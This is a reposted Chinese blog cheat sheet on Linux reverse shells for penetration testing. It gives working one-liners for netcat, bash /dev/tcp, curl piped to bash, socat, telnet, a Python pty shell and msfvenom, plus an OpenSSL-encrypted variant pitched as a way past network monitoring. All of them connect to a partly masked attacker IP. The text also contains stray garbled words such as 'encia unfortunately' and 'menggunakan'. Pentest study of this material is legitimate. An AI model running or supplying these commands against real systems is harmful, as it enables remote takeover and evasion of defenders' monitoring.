博客
关于我
反弹Shell,看这一篇就够了
阅读量:706 次
发布时间:2019-03-21

本文共 1835 字,大约阅读时间需要 6 分钟。

渗透测试中,Linux系统的反弹shell操作无疑是一个经典且重要的情景。攻击者通过在目标机上建立一个向攻击机转发的反弹通道,能够模拟一个虚拟终端,从而获得对目标系统的远程控制权限。

反弹shell的核心作用在于克服传统正向连接的局限性。例如,当目标机防火墙严格控制出口访问,端口资源受限,或主机位于动态IP环境中时,正向连接往往难以实现。而反弹shell则通过将攻击机指定为服务端,依赖目标机的主动连接,成为突破这些限制的有效武器。

反弹shell的实现方法

反弹shell的具体实现多种多样,常见方式包括:

1. 利用Netcat反弹shell

Netcat(nc)是一款强大的网络测试工具,广泛用于反弹shell。尽管部分发行版限制了其encia unfortunately(-e)参数,攻击者仍可通过手动安装特定版本来利用Netcat反弹shell。

命令示例:

nc -lvvp 2333

攻击机开启监听,目标机执行:

nc 47.xxx.xxx.72 2333 -e /bin/bash

2. Bash反弹shell

Bash可通过标准输入结合重定向实现反弹shell,命令如下:

bash -i > /dev/tcp/47.xxx.xxx.72/2333 0>&1

3. Curl配合Bash反弹shell

借助curl命令,可将反弹shell命令触发为目标机执行:

curl 47.xxx.xxx.72 | bash

4. Socat反弹shell

Socat是一款功能强大的网络工具,用于创建和管理网络连接,反弹shell的实现较为简便。

命令示例:

socat TCP-LISTEN:2333 -

攻击机监听,目标机执行:

socat tcp-connect:47.xxx.xxx.72:2333 exec:/bin/bash

5. Telnet反弹shell

在支持Telnet的目标机上,可通过Telnet客户端实现反弹shell。

命令示例(目标机执行):

telnet 47.xxx.xxx.72 2333 | /bin/bash

6. Python、PHP、Perl脚本反弹shell

针对目标机具备相应脚本环境,可借助Python、PHP、Perl等语言实现反弹shell。以下是Python示例:

python -c "import socket,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('47.xxx.xxx.72', 2333)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); import sys; sys.stdin = s.makefile(1); sys.stdout = s.makefile(1); import pty; pty.spawn(['/bin/bash'])"

7. menggunakan Metasploit

Metasploit框架提供了生成一句话反弹shell的强大功能。如需生成特定语言反弹shell可执行:

msfvenom -l | grep cmd/unix/reverse

目标机执行生成的payload即可实现反弹shell。

OpenSSL反弹加密shell

传统反弹shell的通信流量为明文,易被网络防护设备发现。使用OpenSSL,攻击者可在反弹过程中加入加密层,克服这一限制。

配置步骤:

  • 在攻击机生成自签名证书:
  • openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
    1. 在攻击机监听:
    2. openssl s_server -quiet -key key.pem -cert cert.pem -port 2333
      1. 在目标机执行反弹shell:
      2. mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.xxx.xxx.72:2333 > /tmp/s; rm /tmp/s

        通过以上方法,攻击者可根据目标环境选择最适合的手段,成功实现反弹shell,获取目标系统的控制权限。

    转载地址:http://hutez.baihongyu.com/

    你可能感兴趣的文章
    PLC结构体(西门子)
    查看>>
    PLC编程语言ST文本语法的常用数据类型及变量
    查看>>
    PLC通讯方式
    查看>>
    Please install 'webpack-cli' in addition to webpack itself to use the CLI
    查看>>
    Ploly Dash,更新一个Dash应用程序JJJA上的实时人物
    查看>>
    Ploly烛台的定制颜色
    查看>>
    Ploly:如何在Excel中嵌入完全交互的Ploly图形?
    查看>>
    plotloss记录
    查看>>
    Plotly (Python) 子图:填充构面和共享图例
    查看>>
    Plotly 中的行悬停文本
    查看>>
    Plotly 停用 x 轴排序
    查看>>
    Plotly 域变量解释(多图)
    查看>>
    Plotly 绘制表面 3D 未显示
    查看>>
    Plotly-Dash 存在未知问题并创建“加载依赖项时出错“;通过使用 Python-pandas.date_range
    查看>>
    Plotly-Dash:如何过滤具有多个数据框列的仪表板?
    查看>>
    Plotly:如何为 x 轴上的时间序列设置主要刻度线/网格线的值?
    查看>>
    Plotly:如何从 x 轴删除空日期?
    查看>>
    Plotly:如何从单条迹线制作堆积条形图?
    查看>>
    Plotly:如何以 Root 样式绘制直方图,仅显示直方图的轮廓?
    查看>>
    Plotly:如何使用 Plotly Express 组合散点图和线图?
    查看>>